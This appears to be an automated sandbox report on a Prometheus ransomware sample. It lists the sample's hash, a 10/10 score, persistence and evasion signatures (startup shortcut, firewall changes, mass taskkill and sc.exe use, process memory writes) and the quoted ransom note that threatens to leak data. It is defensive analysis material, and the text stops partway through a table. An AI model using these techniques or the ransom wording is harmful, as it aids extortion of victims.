Malware Analysis Report

2024-10-23 18:39

Sample ID 210528-aztjgyg22a
Target 9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample
SHA256 9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b
Tags
prometheus discovery evasion persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b

Threat Level: Known bad

The file 9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample was found to be: Known bad.

Malicious Activity Summary

prometheus discovery evasion persistence ransomware

Prometheus Ransomware

Modifies Windows Firewall

Deletes itself

Drops startup file

Modifies file permissions

Modifies WinLogon

Launches sc.exe

Enumerates physical storage devices

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

System policy modification

Modifies Internet Explorer settings

Kills process with taskkill

Modifies registry key

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-03-30 11:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-05-28 09:40

Reported

2021-05-28 09:43

Platform

win7v20210408

Max time kernel

28s

Max time network

41s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Modifies Windows Firewall

evasion

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1052 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 516 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1052 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1052 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1052 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1052 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1052 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
